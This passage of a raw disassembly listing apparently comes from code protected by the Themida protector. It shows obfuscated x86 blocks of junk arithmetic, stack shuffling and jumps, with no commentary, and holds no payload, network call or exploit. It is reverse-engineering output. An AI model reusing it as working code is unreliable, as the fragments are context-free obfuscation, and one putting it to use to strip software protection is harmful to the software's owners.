XREF: Themida_:0056085Aj pop [esp+16h+var_16] push esi mov esi, 4 add [esp+16h+var_12], esi jmp loc_563DEC ; --------------------------------------------------------------------------- loc_56C241: ; CODE XREF: sub_562ABA+B93Bj mov [esp+16h+var_16], esi mov esi, 6A640077h add esi, 1 push eax jmp loc_5636F1 ; --------------------------------------------------------------------------- loc_56C255: ; CODE XREF: sub_562ABA+3B1Cj push edi mov edi, esp jmp loc_56AC04 ; --------------------------------------------------------------------------- loc_56C25D: ; CODE XREF: sub_562ABA-637j mov ebx, 79464184h sub eax, ebx jmp loc_571C04 ; --------------------------------------------------------------------------- loc_56C269: ; CODE XREF: sub_562ABA+5EE0j push 646119FAh pop ecx jmp loc_5725F2 ; --------------------------------------------------------------------------- loc_56C274: ; CODE XREF: sub_562ABA+3293j mov ebx, 4 add eax, ebx pop ebx sub eax, 4 xchg eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], eax jmp loc_560BFF ; --------------------------------------------------------------------------- loc_56C28F: ; CODE XREF: sub_562ABA+BE9j add ecx, edi mov edi, [esp-0Eh+arg_8+2] add esp, 4 jmp loc_5621C4 ; --------------------------------------------------------------------------- loc_56C29F: ; CODE XREF: sub_562ABA+FB67j mov [esp-12h+arg_C+2], eax jmp loc_56930C ; --------------------------------------------------------------------------- loc_56C2A7: ; CODE XREF: sub_562ABA+5C1Fj push edi push [esp+2Ah+var_28+2] pop edi jmp loc_563202 ; --------------------------------------------------------------------------- loc_56C2B2: ; CODE XREF: sub_562ABA+3C0Dj add ebx, edx add ebx, 4A265491h pop edx push ebp mov ebp, 6ACE6E14h and ebp, 68950355h not ebp and ebp, 5877241Eh sub ebp, 0A4FCF82Dh jmp loc_56F5EB ; --------------------------------------------------------------------------- loc_56C2DA: ; CODE XREF: sub_562ABA+73DCj add ecx, ebp pop ebp add esi, ecx mov ecx, [esp-1Ah+arg_14+2] sub esp, 4 mov [esp-16h+arg_10+2], edi mov edi, esp jmp loc_56A852 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-16h+arg_10+2] push 542Bh jmp loc_56911B ; --------------------------------------------------------------------------- loc_56C2FD: ; CODE XREF: sub_562ABA+5BBEj mov [esp+8+var_8], ebx mov ebx, edx mov eax, ebx pop ebx push [esp+4+var_4] pop edx push edi push esp pop edi push 588Ch jmp loc_56797C ; --------------------------------------------------------------------------- loc_56C316: ; CODE XREF: sub_562ABA+6043j push [esp+1Eh+var_1E] pop eax add esp, 4 push 37FBh mov [esp+1Eh+var_1E], edx push esp mov edx, [esp+22h+var_22] add esp, 4 push eax mov eax, 4 jmp loc_5649B9 ; --------------------------------------------------------------------------- loc_56C33A: ; CODE XREF: sub_562ABA+9945j xchg ecx, [esp+22h+var_22] mov esp, [esp+22h+var_22] mov [esp+22h+var_22], esi push 5D3h mov [esp+26h+var_28+2], edx push ecx mov ecx, 7AFC1C4Eh sub esp, 4 jmp loc_565F99 ; --------------------------------------------------------------------------- loc_56C35C: ; CODE XREF: sub_562ABA+D22Bj xor cl, 23h jmp loc_570DD2 ; --------------------------------------------------------------------------- loc_56C364: ; CODE XREF: sub_562ABA+55A6j xor edx, [esp+46h+var_46] xor [esp+46h+var_46], edx xor edx, [esp+46h+var_46] jmp loc_56A606 ; --------------------------------------------------------------------------- loc_56C372: ; CODE XREF: sub_562ABA-382Bj xor esi, 68E03C4Ah add ebx, 6B4E2413h add ebx, esi jmp loc_56C8D1 ; --------------------------------------------------------------------------- loc_56C385: ; CODE XREF: sub_562ABA+43F0j pop edx push ecx push ebx mov ebx, 3D101937h jmp loc_56DAD2 ; --------------------------------------------------------------------------- loc_56C392: ; CODE XREF: sub_562ABA+9C5Dj pop ebp add eax, ebx pop ebx jmp loc_56CF30 ; --------------------------------------------------------------------------- loc_56C39B: ; CODE XREF: sub_562ABA+4C7Dj push [esp+3Ah+var_3A] mov edx, [esp+3Eh+var_3E] add esp, 4 push edi sub esp, 4 mov [esp+42h+var_42], esp add [esp+42h+var_42], 4 pop edi jmp sub_572591 ; --------------------------------------------------------------------------- loc_56C3BE: ; CODE XREF: sub_562ABA+2742j pop ebx sub eax, 6D415DB2h jmp loc_55F806 ; --------------------------------------------------------------------------- loc_56C3C9: ; CODE XREF: sub_562ABA+B2C7j push ebx mov ebx, 4 add ebp, ebx jmp loc_57108B ; --------------------------------------------------------------------------- loc_56C3D6: ; CODE XREF: sub_562ABA+791Aj mov ecx, edx pop edx push ebx mov ebx, 0FFFFFFFFh add ecx, ebx jmp loc_55E212 ; --------------------------------------------------------------------------- loc_56C3E6: ; CODE XREF: sub_562ABA+A28Ej mov edi, esp push ebx mov ebx, 4 add edi, ebx jmp loc_560D94 ; --------------------------------------------------------------------------- loc_56C3F5: ; CODE XREF: sub_562ABA+885Aj pop ebx push edi mov edi, 4 sub ecx, edi pop edi jmp loc_56C33A ; --------------------------------------------------------------------------- loc_56C404: ; CODE XREF: sub_562ABA+22EEj mov [esp+42h+var_42], eax sub esp, 4 mov [esp+46h+var_46], ebx push 1C760C2Fh push [esp+4Ah+var_4A] jmp loc_56B9BE ; --------------------------------------------------------------------------- loc_56C41D: ; CODE XREF: sub_562ABA+FE33j pop esp jmp loc_56FE53 ; --------------------------------------------------------------------------- loc_56C423: ; CODE XREF: sub_562ABA+5EAAj add ebp, 4 sub esp, 4 mov [esp+0], esi jmp loc_56C174 ; --------------------------------------------------------------------------- loc_56C437: ; CODE XREF: sub_562ABA+D127j mov [esp+0], edi mov edi, edx push edi jmp loc_570E4B ; --------------------------------------------------------------------------- loc_56C442: ; CODE XREF: sub_562ABA+1CAEj pop esi jmp loc_56D73F ; --------------------------------------------------------------------------- loc_56C448: ; CODE XREF: sub_562ABA+5B8Dj pop eax pop [esp+8+var_8] push edx push 683Fh mov [esp+0Ch+var_C], edi mov edi, 36324FC6h jmp loc_56E44B ; --------------------------------------------------------------------------- loc_56C45F: ; CODE XREF: sub_562ABA+36A1j add ecx, esi sub ecx, 598A25A1h pop esi add ecx, 4 xchg ecx, [esp+1Ah+var_1A] pop esp jmp loc_56864C ; --------------------------------------------------------------------------- loc_56C474: ; CODE XREF: sub_562ABA+2D3Ej mov edx, ebx pop ebx jmp loc_571D6D ; --------------------------------------------------------------------------- loc_56C47C: ; CODE XREF: sub_562ABA+C0B4j pop esp and word ptr [esp+1Ah+var_1A], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56C487: ; CODE XREF: sub_562ABA+CE27j push ebx mov bl, 8 jmp loc_566761 ; --------------------------------------------------------------------------- loc_56C48F: ; CODE XREF: sub_562ABA-76Bj sub ebp, eax pop eax jmp loc_569F57 ; --------------------------------------------------------------------------- loc_56C497: ; CODE XREF: sub_562ABA+F98Bj mov ebp, 6D352F4Eh inc ebp inc ebp shl ebp, 2 add ebp, 1 jmp loc_5688E4 ; --------------------------------------------------------------------------- loc_56C4A9: ; CODE XREF: sub_562ABA+856Ej push 5FF3h mov [esp+5Ah+var_5A], eax push ebp push ecx mov ecx, 69C05190h jmp loc_567481 ; --------------------------------------------------------------------------- loc_56C4BD: ; CODE XREF: sub_562ABA+85C5j add esp, 4 pop eax add edi, edx jmp loc_568355 ; --------------------------------------------------------------------------- loc_56C4C8: ; CODE XREF: sub_562ABA+EF06j xor ebp, 2D5A2A12h xor esi, ebp jmp loc_56164E ; --------------------------------------------------------------------------- loc_56C4D5: ; CODE XREF: sub_562ABA+BB97j not edi not edi add edi, 75E8199Fh sub edi, 0F239675Ch xor esi, edi jmp loc_56FC69 ; --------------------------------------------------------------------------- loc_56C4EC: ; CODE XREF: sub_562ABA+A2D3j push esp pop edi add edi, 4 jmp loc_561E06 ; --------------------------------------------------------------------------- loc_56C4F9: ; CODE XREF: sub_562ABA+4816j add ebp, 4 jmp loc_56839E ; --------------------------------------------------------------------------- loc_56C504: ; CODE XREF: sub_562ABA+9750j add esp, 4 add bl, al sub esp, 4 mov [esp+1Eh+var_1E], ecx mov cl, 69h push eax jmp loc_572861 ; --------------------------------------------------------------------------- loc_56C517: ; CODE XREF: sub_562ABA+BF79j mov edi, [esp+22h+var_22] push ebx jmp loc_565DC0 ; --------------------------------------------------------------------------- loc_56C520: ; CODE XREF: sub_562ABA+A3B4j push ecx jmp loc_5699CC ; --------------------------------------------------------------------------- loc_56C526: ; CODE XREF: sub_562ABA+CB3Aj add ecx, 5D5707EBh sub ecx, 4E2ECA87h add ecx, 1 push edi mov edi, 0D88F143Eh sub ecx, edi pop edi or ebx, ecx pop ecx sub ebx, 0E92F7FE5h add ebp, 4E514D95h add ebp, ebx sub ebp, 4E514D95h pop ebx jmp sub_56019B ; --------------------------------------------------------------------------- loc_56C55B: ; CODE XREF: sub_562ABA-42B6j xchg esi, [esp+16h+var_16] mov esp, [esp+16h+var_16] mov [esp+16h+var_16], edx mov edx, 1 mov ebx, edx push [esp+16h+var_16] pop edx add esp, 4 add eax, 67542ED0h sub eax, ebx sub eax, 67542ED0h push [esp+12h+var_12] jmp loc_5628A3 ; --------------------------------------------------------------------------- loc_56C589: ; CODE XREF: sub_562ABA+C3ABj add al, bh mov bx, word ptr [esp+16h+var_16] add esp, 2 mov ecx, [esp+12h+var_12] jmp loc_5705D5 ; --------------------------------------------------------------------------- loc_56C59D: ; CODE XREF: sub_562ABA-A6Dj xchg edi, [esp+0] pop esp push ebp mov ebp, 35336A29h sub ebx, ebp pop ebp sub ebx, esi add ebx, 35336A29h pop esi add ebx, 5F7927B8h add ebx, eax jmp loc_560AE7 ; --------------------------------------------------------------------------- loc_56C5C0: ; CODE XREF: sub_562ABA+36C5j mov ebp, 73C102D3h shr ebp, 3 not ebp sub ebp, 230FE3h jmp loc_561641 ; --------------------------------------------------------------------------- loc_56C5D5: ; CODE XREF: sub_562ABA+9522j pop edi jmp loc_56F153 ; --------------------------------------------------------------------------- loc_56C5DB: ; CODE XREF: sub_562ABA+74D6j add ch, bl jmp loc_563A61 ; --------------------------------------------------------------------------- loc_56C5E2: ; CODE XREF: sub_562ABA-43FDj mov edx, 26B21328h mov esi, 0DBE732ACh jmp loc_56CC4B ; --------------------------------------------------------------------------- loc_56C5F1: ; CODE XREF: sub_562ABA+1A6Aj xor ecx, edx pop edx push edi mov edi, 1266132Ah jmp loc_5721B0 ; --------------------------------------------------------------------------- loc_56C5FF: ; CODE XREF: sub_562ABA-8Ej add eax, 0C296BB2h push esi mov esi, 66CB7CACh add eax, esi pop esi pop ecx sub esp, 4 mov [esp+26h+var_28+2], ebx mov ebx, 4 add eax, 7305A19h add eax, ebx sub eax, 7305A19h mov ebx, [esp+26h+var_28+2] add esp, 4 xchg eax, [esp+22h+var_22] pop esp sub esi, 4 xor esi, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], esi xor esi, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], eax pop eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56C64A: ; CODE XREF: sub_562ABA+2BADj sub edi, 0FFFFFFFFh shl edi, 8 jmp loc_566A8E ; --------------------------------------------------------------------------- loc_56C655: ; CODE XREF: sub_562ABA+D7FBj mov esp, [esp+48h+var_4A+2] mov [esp+48h+var_4A+2], esp add [esp+48h+var_4A+2], 4 mov ebp, [esp+48h+var_4A+2] push 13C7h mov [esp+4Ch+var_4E+2], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+50h+var_52+2], eax mov eax, 7AC45514h xor eax, 55273EC0h or eax, 13F229C1h jmp loc_561AA6 ; --------------------------------------------------------------------------- loc_56C68F: ; CODE XREF: sub_562ABA+D39Cj mov eax, 430336FEh push 677Dh mov [esp+54h+var_56+2], edi mov edi, 60B67C91h or eax, edi pop edi xor eax, edi xor edi, eax xor eax, edi dec edi xchg eax, edi add eax, 9C488106h add edx, 79587C9Dh add edx, 6C594788h add edx, eax jmp loc_564685 ; --------------------------------------------------------------------------- loc_56C6C4: ; CODE XREF: sub_562ABA+9E9Bj mov [esp+50h+var_52+2], edx push edx jmp loc_569630 ; --------------------------------------------------------------------------- loc_56C6CD: ; CODE XREF: sub_562ABA-E98j pop edi push ebp jmp loc_567289 ; --------------------------------------------------------------------------- loc_56C6D4: ; CODE XREF: sub_562ABA+19BEj pop eax add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 push ecx jmp loc_56A510 ; --------------------------------------------------------------------------- loc_56C6ED: ; CODE XREF: sub_562ABA-269Aj add eax, esi pop esi push edx mov edx, 73DA3FCFh xor edx, 16008BBh add edx, 9585E401h jmp loc_562C52 ; --------------------------------------------------------------------------- loc_56C707: ; CODE XREF: sub_562ABA+E5B2j mov [esp+8+var_8], esi jmp loc_56DDC0 ; --------------------------------------------------------------------------- loc_56C70F: ; CODE XREF: sub_562ABA+6A5Aj push ebp mov ebp, 0CED0ADF9h xor ebx, ebp jmp loc_56C392 ; --------------------------------------------------------------------------- sub esp, 4 push ebp mov ebp, esp jmp loc_560F6C ; --------------------------------------------------------------------------- loc_56C727: ; CODE XREF: sub_562ABA+E5j push ecx jmp loc_570A54 ; --------------------------------------------------------------------------- loc_56C72D: ; CODE XREF: sub_562ABA+7275j add esp, 4 shl eax, 8 jmp loc_562BE0 ; --------------------------------------------------------------------------- loc_56C73B: ; CODE XREF: sub_562ABA+B4A7j xchg edx, [esp+26h+var_28+2] mov esp, [esp+26h+var_28+2] jmp loc_562A40 ; --------------------------------------------------------------------------- loc_56C746: ; CODE XREF: sub_562ABA+CB01j mov si, word ptr [esp+26h+var_28+2] add esp, 2 push small 3428h mov [esp+0], si push eax mov ax, 1E3Bh jmp loc_56A884 ; --------------------------------------------------------------------------- loc_56C75F: ; CODE XREF: sub_562ABA+E9CBj mov [esp+28h+var_28], ecx push ebx push eax jmp loc_56CFF4 ; --------------------------------------------------------------------------- loc_56C769: ; CODE XREF: sub_562ABA+417Ej add eax, 4 add eax, 4 xchg eax, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] push edi mov edi, 59964883h add edi, 12C626C9h neg edi shl edi, 1 push esi mov esi, 27472164h sub edi, esi jmp loc_572AC7 ; --------------------------------------------------------------------------- loc_56C796: ; CODE XREF: sub_562ABA-471Cj push ebx mov ebx, 1F7472B8h push ebx push 76CF538Bh pop ebx inc ebx shl ebx, 1 xor ebx, 0EC739EA5h jmp loc_560F8D ; --------------------------------------------------------------------------- loc_56C7B1: ; CODE XREF: sub_562ABA+7377j add dword ptr [esp+0], 4 pop eax jmp loc_560920 ; --------------------------------------------------------------------------- loc_56C7BB: ; CODE XREF: sub_562ABA+C60j push eax not [esp+52h+var_52] mov eax, [esp+52h+var_52] jmp loc_567583 ; --------------------------------------------------------------------------- loc_56C7C7: ; CODE XREF: sub_562ABA+4F14j push ebx jmp loc_56A27D ; --------------------------------------------------------------------------- loc_56C7CD: ; CODE XREF: sub_55EEB7+9j xor eax, 63956AE3h mov ebp, [esp+0] add esp, 4 xchg eax, ebp jmp loc_563302 ; --------------------------------------------------------------------------- loc_56C7DE: ; CODE XREF: sub_562ABA-373Aj add [esp+1Eh+var_1E], 4 jmp loc_55E99B ; --------------------------------------------------------------------------- loc_56C7EA: ; CODE XREF: sub_562ABA+2DD4j xor eax, 67E76BBFh and [edi+1Ch], eax push [esp-0Ch+arg_8] mov eax, [esp-8+arg_4] add esp, 4 jmp loc_57280E ; --------------------------------------------------------------------------- loc_56C800: ; CODE XREF: sub_562ABA-2875j push esi push [esp-2+arg_0+2] pop esi pop dword ptr [esp+0] mov esp, [esp-6+arg_0+2] imul ecx push 4D88h mov [esp+0], edx push eax pushf jmp loc_55FABB ; --------------------------------------------------------------------------- loc_56C81D: ; CODE XREF: sub_562ABA+BBB9j sub edi, 62514A9Fh add edi, ebp push esi mov esi, 62514A9Fh add edi, esi pop esi sub edi, 7D676986h mov ebp, [esp+6+var_8+2] jmp loc_56849C ; --------------------------------------------------------------------------- loc_56C83C: ; CODE XREF: sub_562ABA+31BEj push ebp sub esp, 4 mov [esp-4+arg_0], edi push 1F542F75h mov edi, [esp+0] jmp loc_567F98 ; --------------------------------------------------------------------------- loc_56C850: ; CODE XREF: sub_562ABA+A48Cj pop ecx push ebx mov ebx, 290D73B0h not ebx add ebx, 1A5A6874h push eax mov eax, 33C70763h jmp loc_55EC1B ; --------------------------------------------------------------------------- loc_56C86A: ; CODE XREF: sub_562ABA+FA34j mov ebp, 740183Ah push ecx mov ecx, 156E5A3Dh sub ebp, ecx pop ecx jmp loc_5671C6 ; --------------------------------------------------------------------------- loc_56C87D: ; CODE XREF: sub_562ABA-C1Ej mov edi, 4 add edx, edi pop edi push edx jmp loc_560568 ; --------------------------------------------------------------------------- loc_56C88B: ; CODE XREF: sub_562ABA+648Ej xor eax, edx xor edx, eax jmp loc_567CF4 ; --------------------------------------------------------------------------- loc_56C894: ; CODE XREF: sub_562ABA+B158j mov edi, 30621FD5h or edi, 1C8D4DF2h shl edi, 6 inc edi inc edi push esi jmp loc_571071 ; --------------------------------------------------------------------------- loc_56C8AA: ; CODE XREF: sub_562ABA+ECA2j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+32h+var_32] jmp loc_56C920 ; --------------------------------------------------------------------------- loc_56C8BE: ; CODE XREF: sub_562ABA-2E1Aj sub ebx, 7A956144h jmp loc_566BC3 ; --------------------------------------------------------------------------- loc_56C8C9: ; CODE XREF: sub_562ABA+9195j add ebx, 2 jmp loc_564E15 ; --------------------------------------------------------------------------- loc_56C8D1: ; CODE XREF: sub_562ABA+98C6j sub ebx, 6B4E2413h pop esi sub esp, 4 mov [esp+44h+var_46+2], edi sub esp, 4 mov [esp+48h+var_4A+2], edx push 6A82502Bh pop edx and edx, 32D85E92h inc edx and edx, 0D3D01D8h jmp loc_5727B5 ; --------------------------------------------------------------------------- loc_56C8FF: ; CODE XREF: sub_562ABA+6370j mov edx, 6BEE1DDDh mov eax, edx pop edx mov edx, eax push [esp-0Ah+arg_4+2] pop eax add esp, 4 jmp loc_569B8E ; --------------------------------------------------------------------------- loc_56C915: ; CODE XREF: sub_562ABA+8BB8j pop esi mov ebx, eax push [esp+2+var_4+2] jmp loc_5681C0 ; --------------------------------------------------------------------------- loc_56C920: ; CODE XREF: sub_562ABA+9DFFj pop esp pop dword ptr [esp+0] jmp loc_56695E ; --------------------------------------------------------------------------- loc_56C929: ; CODE XREF: sub_562ABA-1F91j add esi, 0FFFFFFFFh shr esi, 8 sub esp, 4 mov [esp+12h+var_12], eax mov eax, 2BDC2DFAh sub esp, 4 mov [esp+16h+var_16], edx jmp loc_56382E ; --------------------------------------------------------------------------- loc_56C948: ; CODE XREF: sub_562ABA-35AFj and eax, ebp pop ebp shr eax, 0Bh xor ecx, eax push 0D51h jmp loc_56C6C4 ; --------------------------------------------------------------------------- loc_56C95A: ; CODE XREF: sub_562ABA+2852j mov ecx, [esp+1Eh+var_1E] add esp, 4 shr eax, 8 add eax, 0EF144E4h add eax, 0F094CBE4h sub edx, 3B8361ECh add edx, eax jmp loc_56501A ; --------------------------------------------------------------------------- loc_56C97A: ; CODE XREF: sub_562ABA+C3C2j mov [esp+1Ah+var_1A], edx push esp pop edx add edx, 4 push edi mov edi, 4 jmp loc_5635AC ; --------------------------------------------------------------------------- loc_56C990: ; CODE XREF: sub_562ABA+53D0j add edx, 4 push ebp jmp loc_55E95F ; --------------------------------------------------------------------------- loc_56C99C: ; CODE XREF: sub_562ABA+2C79j sub edx, 7E4C6301h shr edx, 4 jmp loc_568C66 ; --------------------------------------------------------------------------- loc_56C9AA: ; CODE XREF: sub_562ABA-1E1j xor [esp+26h+var_28+2], ecx xor ecx, [esp+26h+var_28+2] pop esp jmp loc_55F171 ; --------------------------------------------------------------------------- loc_56C9B6: ; CODE XREF: sub_562ABA+E8E9j push 17A3h jmp loc_562DF1 ; --------------------------------------------------------------------------- loc_56C9C0: ; CODE XREF: sub_562ABA+74BBj mov edi, 462441B2h not edi sub edi, 2C135103h push esi jmp loc_55FEC7 ; --------------------------------------------------------------------------- loc_56C9D3: ; CODE XREF: sub_562ABA-472Aj push edi mov edi, 7CEC5F0Ah jmp loc_56D4CB ; --------------------------------------------------------------------------- loc_56C9DE: ; CODE XREF: sub_562ABA+7178j push ecx push esi push 44CF5123h jmp loc_565573 ; --------------------------------------------------------------------------- loc_56C9EA: ; CODE XREF: sub_562ABA+3B91j mov esp, [esp+6+var_8+2] jmp loc_5667E8 ; --------------------------------------------------------------------------- loc_56C9F2: ; CODE XREF: sub_562ABA+77AEj not ebp dec ebp shr ebp, 2 sub ebp, 57DD6B45h shr ebp, 3 sub ebp, 0EDF0C5DCh sub edi, ebp pop ebp add edi, ecx jmp loc_56998C ; --------------------------------------------------------------------------- loc_56CA11: ; CODE XREF: Themida_:00572637j mov [esp+0], ecx push edi jmp loc_563E85 ; --------------------------------------------------------------------------- loc_56CA1A: ; CODE XREF: sub_562ABA+E3AFj pop esi jmp loc_560A92 ; --------------------------------------------------------------------------- loc_56CA20: ; CODE XREF: sub_562ABA+93Fj or eax, 335E1Dh xor eax, 43844881h shl eax, 2 jmp loc_565656 ; --------------------------------------------------------------------------- loc_56CA32: ; CODE XREF: sub_55FCA5+C6j sub eax, 423F4911h jmp loc_56CA96 ; --------------------------------------------------------------------------- loc_56CA3C: ; CODE XREF: sub_562ABA-32B9j mov [esp+1Eh+var_1E], edx jmp loc_570CC3 ; --------------------------------------------------------------------------- loc_56CA44: ; CODE XREF: sub_562ABA+D514j sub ecx, edx pop edx xchg ecx, [esp+1Ah+var_1A] jmp loc_564677 ; --------------------------------------------------------------------------- loc_56CA4F: ; CODE XREF: sub_562ABA+517Aj add esp, 4 add edx, 668B1D5Ch add ebx, 29C645D3h add ebx, edx jmp loc_562BCE ; --------------------------------------------------------------------------- loc_56CA68: ; CODE XREF: sub_562ABA+12Ej push eax jmp loc_566E40 ; --------------------------------------------------------------------------- loc_56CA6E: ; CODE XREF: sub_562ABA+4972j mov edi, 6A69B01Ch xor ebp, edi pop edi sub ebx, ebp pop ebp add edi, ebx pop ebx sub edi, 7B7A20D0h jmp loc_563D5B ; --------------------------------------------------------------------------- loc_56CA87: ; CODE XREF: sub_562ABA+2AD6j mov edi, esp push 422Bh mov [esp+42h+var_42], ebp jmp loc_570BCF ; --------------------------------------------------------------------------- loc_56CA96: ; CODE XREF: sub_562ABA+9F7Dj add eax, edx add eax, 423F4911h pop edx xor eax, [esp+12h+var_12] xor [esp+12h+var_12], eax xor eax, [esp+12h+var_12] pop esp xchg ecx, [esp+0] mov esp, [esp+0] push dword ptr [esp+0] push [esp+12h+var_12] pop eax push eax mov eax, esp jmp loc_56D1E7 ; --------------------------------------------------------------------------- loc_56CABD: ; CODE XREF: sub_562ABA+B2FBj xor edi, [esp+16h+var_16] xor [esp+16h+var_16], edi xor edi, [esp+16h+var_16] mov esp, [esp+16h+var_16] jmp loc_56D3A7 ; --------------------------------------------------------------------------- loc_56CACE: ; CODE XREF: sub_562ABA+1E50j pop ebp jmp loc_5608AA ; --------------------------------------------------------------------------- loc_56CAD4: ; CODE XREF: sub_562ABA+B7DFj neg dl xor dl, 83h mov ch, dl pop edx xor dl, ch jmp loc_56A21B ; --------------------------------------------------------------------------- loc_56CAE3: ; CODE XREF: sub_562ABA+285Ej pop eax sub ebx, 264821D0h add ebx, esi jmp loc_567F09 ; --------------------------------------------------------------------------- loc_56CAF1: ; CODE XREF: sub_562ABA+D78Ej push edi push edx mov edx, 629B7BEAh mov edi, edx jmp loc_56D624 ; --------------------------------------------------------------------------- loc_56CAFF: ; CODE XREF: sub_562ABA-3495j xor cl, 0B0h jmp loc_55E25E ; --------------------------------------------------------------------------- loc_56CB07: ; CODE XREF: sub_562ABA+6E9Cj mov [esp+0], ecx mov ecx, 238520D3h inc ecx jmp loc_55FCE5 ; --------------------------------------------------------------------------- loc_56CB15: ; CODE XREF: sub_562ABA+8095j add ebx, 4 xchg ebx, [esp+22h+var_22] pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56CB24: ; CODE XREF: sub_562ABA+1CE8j add edi, 5BACAD68h add edx, 5F4E67E9h jmp loc_56321C ; --------------------------------------------------------------------------- loc_56CB35: ; CODE XREF: sub_562ABA+C8EDj add esp, 4 push esi mov esi, edi mov ebx, esi pop esi push [esp+6+var_8+2] pop edi add esp, 4 push 4637h mov [esp+6+var_8+2], ebx mov edi, [esp+6+var_8+2] add esp, 4 push [esp+2+var_4+2] pop ebx jmp loc_560CC1 ; --------------------------------------------------------------------------- loc_56CB5C: ; CODE XREF: sub_562ABA+117Bj mov esp, [esp+2Ah+var_2C+2] push eax mov ah, 0B0h jmp loc_5679D3 ; --------------------------------------------------------------------------- loc_56CB67: ; CODE XREF: sub_562ABA+E2BEj add ch, 1 neg ch push ebx push eax mov al, 58h mov bh, 7Fh add bh, al pop eax shr bh, 2 neg bh jmp loc_569DB8 ; --------------------------------------------------------------------------- loc_56CB7F: ; CODE XREF: sub_562ABA+8185j not esi jmp loc_5660D5 ; --------------------------------------------------------------------------- loc_56CB86: ; CODE XREF: Themida_:00560D58j mov [esp+2Ah+var_2C+2], edx push esp jmp loc_56E2E8 ; --------------------------------------------------------------------------- loc_56CB8F: ; CODE XREF: sub_562ABA+82A2j sub ebx, 574D0827h xor ebx, 432E380Bh xor ebx, 0DC8CEF5Bh jmp loc_570CE0 ; --------------------------------------------------------------------------- loc_56CBA6: ; CODE XREF: sub_562ABA+7C9Bj pop esp mov [edi+eax*4+1], bl push [esp-6+arg_0+2] push dword ptr [esp+0] jmp loc_57257D ; --------------------------------------------------------------------------- loc_56CBB6: ; CODE XREF: sub_562ABA+3C89j not edi xor edi, 1CCC3B60h push ecx mov ecx, 77C9509Ah sub ecx, 1FF91A81h jmp loc_55E0FC ; --------------------------------------------------------------------------- loc_56CBCF: ; CODE XREF: sub_562ABA+2ACDj not ecx jmp loc_570E5F ; --------------------------------------------------------------------------- loc_56CBD6: ; CODE XREF: sub_562ABA+721Aj pop ebx add esp, 4 push edi sub esp, 4 push 0A11h mov [esp+32h+var_32], esp add [esp+32h+var_32], 4 pop [esp+32h+var_32] add dword ptr [esp+0], 4 pop edi jmp loc_56A208 ; --------------------------------------------------------------------------- loc_56CBFA: ; CODE XREF: sub_562ABA+203Ej sub esi, 6370493Bh sub esi, edi push edx mov edx, 6370493Bh jmp loc_562BED ; --------------------------------------------------------------------------- loc_56CC0D: ; CODE XREF: sub_562ABA-201Fj push ebx mov ebx, 2 add ecx, ebx push [esp+1Ah+var_1A] mov ebx, [esp+1Eh+var_1E] add esp, 4 add esp, 4 jmp loc_566184 ; --------------------------------------------------------------------------- loc_56CC2C: ; CODE XREF: sub_562ABA-798j add eax, ebx pop ebx jmp sub_55FA0F ; --------------------------------------------------------------------------- loc_56CC34: ; CODE XREF: sub_562ABA+18B2j mov ebp, 6F4A2271h not ebp xor ebp, 20127876h jmp loc_56CF22 ; --------------------------------------------------------------------------- loc_56CC46: ; CODE XREF: sub_562ABA+1924j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56CC4B: ; CODE XREF: sub_562ABA+9B32j add esi, edx jmp loc_567DD2 ; --------------------------------------------------------------------------- loc_56CC52: ; CODE XREF: sub_562ABA-1D2Bj push edx mov edx, 1E171947h or ebp, edx pop edx jmp loc_56AE40 ; --------------------------------------------------------------------------- loc_56CC60: ; CODE XREF: sub_562ABA+7B3Aj xor edx, ebx inc ebx jmp loc_56A443 ; --------------------------------------------------------------------------- loc_56CC68: ; CODE XREF: sub_562ABA+E678j push esp pop eax add eax, 4 sub eax, 2 push eax push [esp+2Eh+var_2C+2] jmp loc_564F45 ; --------------------------------------------------------------------------- loc_56CC7C: ; CODE XREF: sub_562ABA+5CD5j xchg edi, [esp+0] mov esp, [esp+0] jmp loc_564653 ; --------------------------------------------------------------------------- loc_56CC87: ; CODE XREF: sub_562ABA-48A7j xchg ebx, ecx not ebx xchg ebx, ecx inc ecx or ecx, 7CC522FBh add ecx, 70302D52h jmp loc_56E998 ; --------------------------------------------------------------------------- loc_56CC9F: ; CODE XREF: sub_562ABA+E03Bj push ebp push ebx jmp loc_55F44D ; --------------------------------------------------------------------------- loc_56CCA6: ; CODE XREF: sub_562ABA+374Aj mov edx, 70B64B9h sub edx, ebp pop ebp sub ebp, 10813E0Ah add ebp, edx add ebp, 10813E0Ah pop edx push 433h jmp loc_56AA67 ; --------------------------------------------------------------------------- loc_56CCC7: ; CODE XREF: sub_562ABA+8216j mov esp, [esp+2+var_4+2] mov [esp+2+var_4+2], esi jmp loc_563FE0 ; --------------------------------------------------------------------------- loc_56CCD2: ; CODE XREF: sub_562ABA+9512j pop eax mov edx, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp push [esp+4+var_4] pop esi add esp, 4 jmp loc_55F042 ; --------------------------------------------------------------------------- loc_56CCF5: ; CODE XREF: sub_562ABA+85D3j xor eax, [esp+1Ah+var_1A] pop esp mov [esp+16h+var_16], ebp jmp loc_562B00 ; --------------------------------------------------------------------------- loc_56CD01: ; CODE XREF: sub_562ABA+9476j mov ebx, esp push ecx mov ecx, 4 add ebx, ecx jmp loc_56FFF4 ; --------------------------------------------------------------------------- loc_56CD10: ; CODE XREF: sub_562ABA+FED9j xor ch, 0EBh sub ah, ch pop ecx shr ah, 1 jmp loc_56206A ; --------------------------------------------------------------------------- loc_56CD1D: ; CODE XREF: sub_562ABA-491Ej push 6BBEh mov [esp+0Ah+var_C+2], edx push eax mov eax, 24562542h jmp loc_55F8A7 ; --------------------------------------------------------------------------- loc_56CD30: ; CODE XREF: sub_562ABA+6335j pop edx add edx, 8B09B4h mov esi, [esp+16h+var_16] add esp, 4 loc_56CD3D: ; CODE XREF: sub_562ABA+795Bj ; sub_562ABA+CFC1j push dword 